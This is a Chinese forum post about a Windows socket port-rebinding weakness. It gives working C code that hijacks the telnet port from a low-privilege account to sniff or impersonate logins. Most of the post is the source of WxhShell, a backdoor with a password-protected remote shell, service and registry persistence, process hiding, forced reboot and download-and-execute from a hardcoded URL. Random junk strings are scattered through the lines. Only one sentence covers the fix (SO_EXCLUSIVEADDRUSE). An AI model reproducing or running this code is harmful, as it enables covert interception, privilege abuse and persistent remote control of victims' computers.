社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17430阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \fk%^1XY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H;eGBVi  
h.~:UR*   
  saddr.sin_family = AF_INET; T@S\:P  
t,f)!D$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qt.G_fOz  
GmONhh(k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !ULU#2'1  
>Z\{P8@k0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <hS %I  
vz[-8m:f  
  这意味着什么?意味着可以进行如下的攻击: Q7~9~  
Y%i=u:}fm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e Qz_,vTk  
lU}y%J@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "X.JD  
HZG^o^o1l+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `2B,+ytW8  
MKnG:)T<?l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {1<XOp#b  
U:a-Wi+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YV6@SXy  
{Xc^-A[~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e13{G @  
wU9H=w^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'R{Xq HP  
L,m'/}$  
  #include tiTJ.uz6  
  #include yX {CV7%O  
  #include [32]wgw+{1  
  #include    3k#?E]'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :75$e%'A  
  int main() fku\O<1  
  { yR`X3.:*]  
  WORD wVersionRequested; ']bpsn  
  DWORD ret; l@h|os  
  WSADATA wsaData; dTE(+M- Gr  
  BOOL val; xb N)z  
  SOCKADDR_IN saddr; pd3=^ Zi  
  SOCKADDR_IN scaddr; JTw< 4]  
  int err; sQ)D.9\~  
  SOCKET s; zq:+e5YT?T  
  SOCKET sc; 0TDc Q  
  int caddsize; 56|o6-a^  
  HANDLE mt; x)wlp{rLf  
  DWORD tid;   #:~MtV  
  wVersionRequested = MAKEWORD( 2, 2 ); e[Tu.$f-  
  err = WSAStartup( wVersionRequested, &wsaData ); Ih&rXQ$  
  if ( err != 0 ) { q& :UP  
  printf("error!WSAStartup failed!\n"); lBYc(cr  
  return -1; 9AA_e ~y  
  } $N}nO:`t  
  saddr.sin_family = AF_INET; ]12ypcf  
   ~6<'cun@x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o_(@v2G`  
*hk8[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XBmAD!  
  saddr.sin_port = htons(23); R#n!1~ (  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0xSWoz[i6~  
  { $=IJ-_'o  
  printf("error!socket failed!\n"); /"f4aF[  
  return -1; e"){B  
  } pPa3byWf  
  val = TRUE; Y]9AC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |5;:3K+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l2&s4ERqSm  
  { N084k}io  
  printf("error!setsockopt failed!\n"); _#SCjFz  
  return -1; ~ ~"qT  
  } k|r+/gIV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J%:D%=9 )  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <%SG <|t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u>K(m))5W3  
Qw,{"J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iB1+4wa  
  { S5,y!K]C~  
  ret=GetLastError(); .?Pghqq.  
  printf("error!bind failed!\n"); [yEH!7  
  return -1; FxkxV GZ"  
  } @[s+5_9nk  
  listen(s,2); CY4ntd4M  
  while(1) fx"~WeVcO  
  { GY~Q) Z  
  caddsize = sizeof(scaddr); Jn+k$'6 %#  
  //接受连接请求 m?@0Pf}xa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RyN}Gz/YN  
  if(sc!=INVALID_SOCKET) Y\e8oIYu7  
  { 4)DI0b"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T\ cJn>kCn  
  if(mt==NULL) v)!C Dpw  
  { [8Yoz1(smA  
  printf("Thread Creat Failed!\n"); 3[a&|!Yw  
  break; m,qMRcDF  
  } ij|+MX  
  } )M: pg%  
  CloseHandle(mt); V t[Kr  
  } (c'kZ9&  
  closesocket(s); gE}+`w/X  
  WSACleanup(); M In6p  
  return 0;  &3:U&}I  
  }   z+=wql*Eo  
  DWORD WINAPI ClientThread(LPVOID lpParam) NmH:/xU?^  
  { 4Gsbcl{  
  SOCKET ss = (SOCKET)lpParam; =_@Q+N*]|(  
  SOCKET sc; +J+[fbqX  
  unsigned char buf[4096]; Z'V"nhL  
  SOCKADDR_IN saddr; 1%^d <%,]  
  long num; q '  
  DWORD val; mD]^a;U[X  
  DWORD ret; `;R [*7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pn._u`xMV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yaw33/iN  
  saddr.sin_family = AF_INET; Wb7z&vj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &UV=<Az {  
  saddr.sin_port = htons(23); +'!4kwTR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XVRtfo  
  { o<f#Zi  
  printf("error!socket failed!\n"); KD*q|?Z  
  return -1; A:JW Ux  
  } ,<cF<9h  
  val = 100; /Sn>{ &  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yrgb6)]nm@  
  { 4or8fG  
  ret = GetLastError(); uTq)Ets3  
  return -1; g0&Rl  
  } bpv?$j-j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,iYKtS3  
  { [-pB}1Dxb  
  ret = GetLastError(); M%#H>X\/  
  return -1; xdV $dDCT  
  } iJsa;|2/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]di9dLT  
  { (d@ =   
  printf("error!socket connect failed!\n"); Hrd z1:#6,  
  closesocket(sc); /EXub U73  
  closesocket(ss); 6lKM5,Oa  
  return -1; =w/S{yC  
  } 50Kv4a"  
  while(1) j}dev pO  
  { UB7H`)C}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Dn9AOi!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IY=CTFQ8lm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rcyq+wY #  
  num = recv(ss,buf,4096,0); ~H+W[r}  
  if(num>0) 4t<l9Ilp  
  send(sc,buf,num,0); R{hq1-  
  else if(num==0) C $r]]MSj  
  break; ^HM9'*&KJ  
  num = recv(sc,buf,4096,0); nOE 1bf^l  
  if(num>0) |x ~<Dc>0*  
  send(ss,buf,num,0); z/IZ ;K_e  
  else if(num==0) a| s64+  
  break; M^$liS.D  
  } }s7ibm'  
  closesocket(ss); =C[2"Y4JK0  
  closesocket(sc); Ub%sw&QG(9  
  return 0 ; .!&S{;Vv?W  
  } HR> X@g<c  
wV,l }Xb-  
'+Gy)@c  
========================================================== 1hT!~'  
z12c9k%s  
下边附上一个代码,,WXhSHELL IRxFcLk  
)&$Zt(  
========================================================== F|seBBu  
wB0zFlP  
#include "stdafx.h" }?vc1%w  
mAFVjSa2  
#include <stdio.h> Q6r!=yOEY  
#include <string.h> Owa]ax5  
#include <windows.h> M-B-  
#include <winsock2.h> D}| 30s?u1  
#include <winsvc.h> LE" t'R   
#include <urlmon.h> w?+v+k\  
t#p*{S 3u  
#pragma comment (lib, "Ws2_32.lib") J6) &b7  
#pragma comment (lib, "urlmon.lib") DsY$  
#78P_{#!  
#define MAX_USER   100 // 最大客户端连接数 >^  E  
#define BUF_SOCK   200 // sock buffer $)5-}NJf'  
#define KEY_BUFF   255 // 输入 buffer U;_b4S:  
eqL~h1^Co  
#define REBOOT     0   // 重启 _v+mjDdQ  
#define SHUTDOWN   1   // 关机 zP|y3`. 52  
@"`{gdB$  
#define DEF_PORT   5000 // 监听端口 3>`CZ]ip}  
l{{wrU`  
#define REG_LEN     16   // 注册表键长度 x 7;Zwd  
#define SVC_LEN     80   // NT服务名长度 B3P#p^  
(j%d{y4  
// 从dll定义API % 1+\N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5nGDt~a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Ugyjjlz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G2nL#l~@)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }Ot I8;>  
yvgn}F{}  
// wxhshell配置信息 9P3jx)K  
struct WSCFG { o*_O1P  
  int ws_port;         // 监听端口 \qrSJ=}t  
  char ws_passstr[REG_LEN]; // 口令 jDp]}d|f)  
  int ws_autoins;       // 安装标记, 1=yes 0=no DiB~Ovh|  
  char ws_regname[REG_LEN]; // 注册表键名 fC2   
  char ws_svcname[REG_LEN]; // 服务名 l#FW#`f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L29,Y=n@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uf`lGGM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y}bJN%M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a:o Z5PX=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fwojFS.K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G36}4  
N F[v/S  
}; b"ypS7 _  
Dj<]eG]  
// default Wxhshell configuration yn0OPjH  
struct WSCFG wscfg={DEF_PORT, m[7i<'+S  
    "xuhuanlingzhe", Y2 &N#~l*  
    1,  '8NKrI  
    "Wxhshell", sOJH$G3O  
    "Wxhshell", rx*1S/\PPc  
            "WxhShell Service", uv++Kj!  
    "Wrsky Windows CmdShell Service", *-timVlaE  
    "Please Input Your Password: ", gc:qqJi)X  
  1, 41<.e` {  
  "http://www.wrsky.com/wxhshell.exe", GfAt-huL(  
  "Wxhshell.exe" OQ$77]XtvL  
    }; :\@WY  
3z[yKua\  
// 消息定义模块 1n! Jfs U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ve,_;<F]S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fCSM#3|,]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uf* sI  
char *msg_ws_ext="\n\rExit."; R|T_9/#)  
char *msg_ws_end="\n\rQuit."; _/"m0/,  
char *msg_ws_boot="\n\rReboot..."; "`DCXn#mB  
char *msg_ws_poff="\n\rShutdown..."; #&G^%1!  
char *msg_ws_down="\n\rSave to "; %Ke:%##Y  
P5ii3a?R  
char *msg_ws_err="\n\rErr!"; &0O1tM*v  
char *msg_ws_ok="\n\rOK!"; 4WnB{9 i`I  
A6'G%of  
char ExeFile[MAX_PATH]; 5=g{%X  
int nUser = 0; 29g("(}TK  
HANDLE handles[MAX_USER]; LSQ2pB2V  
int OsIsNt; m :ROq  
^f{+p*i}:  
SERVICE_STATUS       serviceStatus; 0X\,!FL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y%$57,Bu n  
*-bR~  
// 函数声明 o}p6qB=;1  
int Install(void); x%ZjGDFm  
int Uninstall(void); -OZRSjmY  
int DownloadFile(char *sURL, SOCKET wsh); c"%XE#D  
int Boot(int flag); "4LYqDe  
void HideProc(void); ]*pALT6  
int GetOsVer(void); $kJvPwRO  
int Wxhshell(SOCKET wsl);  o@_pV  
void TalkWithClient(void *cs); jRK<FK  
int CmdShell(SOCKET sock); u>H^bCXI  
int StartFromService(void); j_SRCm~:  
int StartWxhshell(LPSTR lpCmdLine); F#@Mf?#2  
)'M<q,@<(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v\:>} <gc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \cvui^^n  
qgw:Q  
// 数据结构和表定义 o[^%0uVF  
SERVICE_TABLE_ENTRY DispatchTable[] = |sHIT<=m  
{ Zb`}/%\7  
{wscfg.ws_svcname, NTServiceMain}, zt!mx{l'  
{NULL, NULL} PdJtJqA8h\  
}; W,YzD&f=uS  
VB*$lx X  
// 自我安装 nJ.p PzH2g  
int Install(void) !1!;}uzt  
{ oddS~lW  
  char svExeFile[MAX_PATH]; QvK/31*QG  
  HKEY key; 2|(J<H  
  strcpy(svExeFile,ExeFile); L.lmbxn  
(7`&5m d  
// 如果是win9x系统,修改注册表设为自启动 z?_c:]D  
if(!OsIsNt) { ^-PlTmT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |vA3+kG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k}l5v)m  
  RegCloseKey(key); }Gr5TDiV0\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n NZq`M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l%.3hId-  
  RegCloseKey(key); x$I~y D  
  return 0; eI8^T?  
    } tTe\#o`  
  } ry3;60E \)  
} s#?Y^bgH  
else { I5>HB;Q  
qS>P,>C  
// 如果是NT以上系统,安装为系统服务 fXvJ3w(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o\1"ux;b  
if (schSCManager!=0) ,d<wEB?\`  
{ {%^q8l4j  
  SC_HANDLE schService = CreateService `;*%5WD%  
  ( FVT_%"%C9  
  schSCManager, cIK-VmO  
  wscfg.ws_svcname, fyYT#r  
  wscfg.ws_svcdisp, 2sjV*\Udf  
  SERVICE_ALL_ACCESS, D$;mur'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Q wDV`  
  SERVICE_AUTO_START, "d/x`Dx  
  SERVICE_ERROR_NORMAL, 9 Bz ~3  
  svExeFile, l~AmHw e  
  NULL, }:5r#Cd  
  NULL, .Gh-T{\V'  
  NULL, /@lXQM9 T  
  NULL, @fRB0m"3  
  NULL P )_g t  
  ); &!2 4l=!  
  if (schService!=0) O1Ey{2Q  
  { ueDG1)  
  CloseServiceHandle(schService); HGs.v}@&  
  CloseServiceHandle(schSCManager); ,xuqQ;JX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *I(>[m!  
  strcat(svExeFile,wscfg.ws_svcname); IX']s;b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^, q\S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ra&HzK?  
  RegCloseKey(key); PZKKbg2 S  
  return 0; FcdbL,}=<  
    } M['8zN  
  } 5Lo{\7%  
  CloseServiceHandle(schSCManager); K;,n?Q w  
} 9(QY~F  
} *e H[~4  
 [53rSr  
return 1; 73A1+2  
} &Zs h-|N  
F/tBr%RV  
// 自我卸载 ]BP"$rs  
int Uninstall(void) s7tNAj bgD  
{ I5wf|wB-  
  HKEY key; _]E"hr6a  
7C9qkQ Jqn  
if(!OsIsNt) { J~V`"uo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |#^u%#'[2  
  RegDeleteValue(key,wscfg.ws_regname); -d[9mS  
  RegCloseKey(key); ~!E% GCyFy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MIub^ $<C  
  RegDeleteValue(key,wscfg.ws_regname); r4@!QR<h  
  RegCloseKey(key); 1 ?]Gl+}  
  return 0; wz+  
  } &Y\Vh}  
}  4C/  
} 'vgw>\X(  
else { eG72=l)Mz  
8wp)aGTcU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <:-|>R".  
if (schSCManager!=0) ;El"dqH   
{ \S[:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -\b~R7VQ  
  if (schService!=0) -_[n2\|we)  
  { rV<yM$IA  
  if(DeleteService(schService)!=0) { sg;G k/]  
  CloseServiceHandle(schService); 5u'"m<4  
  CloseServiceHandle(schSCManager); BT: =  
  return 0; A7>0Pn%D3  
  } .t.H(Q9  
  CloseServiceHandle(schService); ;hA>?o_i(  
  } \9geDX9A  
  CloseServiceHandle(schSCManager); DPw"UY:  
} iK#5HW{  
} {-2I^Ym 5i  
'b]GcAL  
return 1; {'l^{"GO"  
} d^ L` dot  
/Z';# G,z  
// 从指定url下载文件 DDq*#;dP  
int DownloadFile(char *sURL, SOCKET wsh) Q9tBHz  
{ B4bC6$Lg  
  HRESULT hr; `YVdIDl]  
char seps[]= "/"; "X4OUk  
char *token; _Isju S  
char *file; cod__.  
char myURL[MAX_PATH]; 9F845M  
char myFILE[MAX_PATH]; aFjcyD  
d@#!,P5 `  
strcpy(myURL,sURL); UX}ZE.cV  
  token=strtok(myURL,seps); `of 5h* k  
  while(token!=NULL) Q#Q]xJH  
  { |&eZ[Sy(=l  
    file=token; Ch%W C ,  
  token=strtok(NULL,seps); oXRmnt  
  } |6'(yn  
h}k&#X)7  
GetCurrentDirectory(MAX_PATH,myFILE); srXGe`VL  
strcat(myFILE, "\\"); Pc#8~t}2  
strcat(myFILE, file); eu@hmR8T  
  send(wsh,myFILE,strlen(myFILE),0); td%]l1  
send(wsh,"...",3,0); <^snS,06  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NNLZ38BV7  
  if(hr==S_OK) hNgbHzW  
return 0; B38_1X7  
else 8,=N~(pd`  
return 1; &b8Dy=#  
nAPSs]D  
} Wjc1EW!2x  
f4YcZyBGv  
// 系统电源模块 F$<>JEdX  
int Boot(int flag) <@6K(  
{ !`"@!  
  HANDLE hToken; 4Xt.}S!  
  TOKEN_PRIVILEGES tkp; ^ZV1Ev8T6  
"| cNY_$&s  
  if(OsIsNt) { ;U=IbK*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Q1?Ox:'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > 2_xRn<P  
    tkp.PrivilegeCount = 1; \H|tc#::{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #$7d1bx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tkX7yg>`  
if(flag==REBOOT) { *"Yz"PK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )d5H v2/0  
  return 0; 3Kuu9< 0  
} v zgR3r  
else { ]S;^QZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u`?MV2jU2  
  return 0; hG51jVYtw  
} WO$9Svh8  
  } lZ]x #v  
  else { 8CCd6)cG  
if(flag==REBOOT) { dd1CuOd6(1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #tX\m ;  
  return 0; 2..b/  
} zURxXo/\V  
else { &Ui*w%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =nPIGI72VO  
  return 0; Wm ri%  
} ?pSb,kN}'  
} >K:| +XbH  
u'Ja9m1  
return 1; KFQ4vavNh  
} ;#-yyU  
]^aOYtKX  
// win9x进程隐藏模块 7> ~70  
void HideProc(void) u\-WArntc  
{ -Pds7}F8  
X*ZTn 7<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  B=)&43)\  
  if ( hKernel != NULL ) U`YPzZp_  
  { EJC{!06L'/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WRa1VU&f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2stBW5v3  
    FreeLibrary(hKernel); ^G :}%4  
  } Tfasry9'8  
hF m_`J&"  
return; GD*rTtDWn  
} ]M^ k~Xa  
mEK0ID\  
// 获取操作系统版本 3PRg/vD3  
int GetOsVer(void) A'A5.\UN  
{ &lbZTY}  
  OSVERSIONINFO winfo; ^eF%4DUC;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VN3"$@-POK  
  GetVersionEx(&winfo); RWyDX_z#<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vo1,{"k  
  return 1; s?-@8.@  
  else ]oOSL=~c  
  return 0; x? 10^~R  
} %63zQFk  
I^}q;L![\  
// 客户端句柄模块 ++>HU{  
int Wxhshell(SOCKET wsl) <jt_<p +  
{ KMs[/|HX\  
  SOCKET wsh; ;4(ULJ*  
  struct sockaddr_in client; *[VO03  
  DWORD myID; QuB`}rfLf  
~rnbuIh  
  while(nUser<MAX_USER) T"h@-UcTl  
{ pr~%%fCh  
  int nSize=sizeof(client); )I~U&sT\/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o )\\(^ld  
  if(wsh==INVALID_SOCKET) return 1; h=?V)WSM  
PhUG}94  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uGXN ciEp`  
if(handles[nUser]==0) JAt$WW{  
  closesocket(wsh); Rs$fNW@P  
else 8|]r>L$Wk  
  nUser++; o7 :~C]  
  } RN, 5>.w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8>R 75 dw  
gKPqWh  
  return 0; uUhqj.::<Y  
} 6[.#B!;9  
 f$7Xh~  
// 关闭 socket #|92 +  
void CloseIt(SOCKET wsh) k4n 4 BL  
{ CBkI! In2  
closesocket(wsh); cj[a^ ZH  
nUser--; EN,PI~~F  
ExitThread(0); c >O>|*I  
} iX&eQ{LB  
g4eEkG`XTS  
// 客户端请求句柄 5{zmuv:  
void TalkWithClient(void *cs) 9N+3S2sBx&  
{ =D>,s)}o3;  
QD8.C=2R  
  SOCKET wsh=(SOCKET)cs; -RLY.@'d-M  
  char pwd[SVC_LEN]; RZY[DoF8u  
  char cmd[KEY_BUFF]; j ."L=  
char chr[1]; Ee~<PDzB  
int i,j; biLNR"/E  
+6zW(Ql/  
  while (nUser < MAX_USER) { k?bIu  
y 4 wV]1  
if(wscfg.ws_passstr) { "V= IG{.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mM[KT} A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .8 GX8[t  
  //ZeroMemory(pwd,KEY_BUFF); :eH*biXy}2  
      i=0; }]<Ghns  
  while(i<SVC_LEN) { k4C3SI*`4  
3-=f@uH!  
  // 设置超时 &g;&=<#I  
  fd_set FdRead; I>bO<T`  
  struct timeval TimeOut; f]_{4Olk  
  FD_ZERO(&FdRead); =%)Y, )"  
  FD_SET(wsh,&FdRead); =~DQX\  
  TimeOut.tv_sec=8; 5n0B`A  
  TimeOut.tv_usec=0; hR4\:s+[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .S_7R/2(?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VxP cC+  
t6,bA1*5y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8mm]>u$  
  pwd=chr[0]; =K \xE"  
  if(chr[0]==0xd || chr[0]==0xa) { Yy 8? X9r.  
  pwd=0; n%S%a >IQj  
  break; gh?3[q6  
  } Nc da~h Q  
  i++; g7UZtpLTm  
    } 4\_~B{kzZ  
k4E2OyCFoJ  
  // 如果是非法用户,关闭 socket '+s?\X4VC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R9&3QRW|  
} 4@mK:v %  
/g]NC?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IDY2X+C#U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !,cL c}a  
QomihQnc  
while(1) { : MEB] }  
QM) ob  
  ZeroMemory(cmd,KEY_BUFF); u*S-Pji,x  
/'l"Us},^!  
      // 自动支持客户端 telnet标准   T Ob(  
  j=0; ]3\%i2NM  
  while(j<KEY_BUFF) { L%`MoTpK q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KXiStwS  
  cmd[j]=chr[0]; 1a]P+-@u[  
  if(chr[0]==0xa || chr[0]==0xd) { !jTxMf  
  cmd[j]=0; h}U>K4BJ  
  break; Wt M1nnJp  
  } B'v~0Kau  
  j++; 3 ,f3^A  
    } 5-RA<d#  
%HD0N&  
  // 下载文件 W]oILL"d  
  if(strstr(cmd,"http://")) { hDf!l$e.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *}'3|e4w}  
  if(DownloadFile(cmd,wsh)) S]Qf p,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UrmnHc>}c  
  else 1wg#4h43l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u- }@^Y$M  
  } B fu/w   
  else { O>LqpZ  
KIGMWS^^  
    switch(cmd[0]) { 0F%/R^mw  
  [9;[g~;E%m  
  // 帮助 4J{W8jX  
  case '?': { `uof\D<']  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ul Mc8z  
    break; b:Tv Ta  
  } moD)^':.  
  // 安装 6W/uoH=;  
  case 'i': { ;w<r/dK   
    if(Install()) H1d2WNr[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *AG01# ZF  
    else J(Fk@{!F.*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FvXpqlp  
    break; 4d8}g25C  
    } +&4@HHU{G  
  // 卸载 &U_T1-UR2  
  case 'r': { mM2DZ^"j(  
    if(Uninstall()) EEP&Y?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[vC C'  
    else ~[Z(6yX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &e3pmHp'  
    break; lxfv'A  
    } tRbZX{  
  // 显示 wxhshell 所在路径 i3vg7V.  
  case 'p': { yS.)l  
    char svExeFile[MAX_PATH]; C'6c,  
    strcpy(svExeFile,"\n\r"); e8 c.&j3m  
      strcat(svExeFile,ExeFile); m>^vr7  
        send(wsh,svExeFile,strlen(svExeFile),0); G2dPm}sZG  
    break; nH}V:C  
    } (7C$'T-ZK  
  // 重启 XG!^[ZDs  
  case 'b': { .umN>/o[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XzB3Xs?W2  
    if(Boot(REBOOT)) ]zz%gZz  
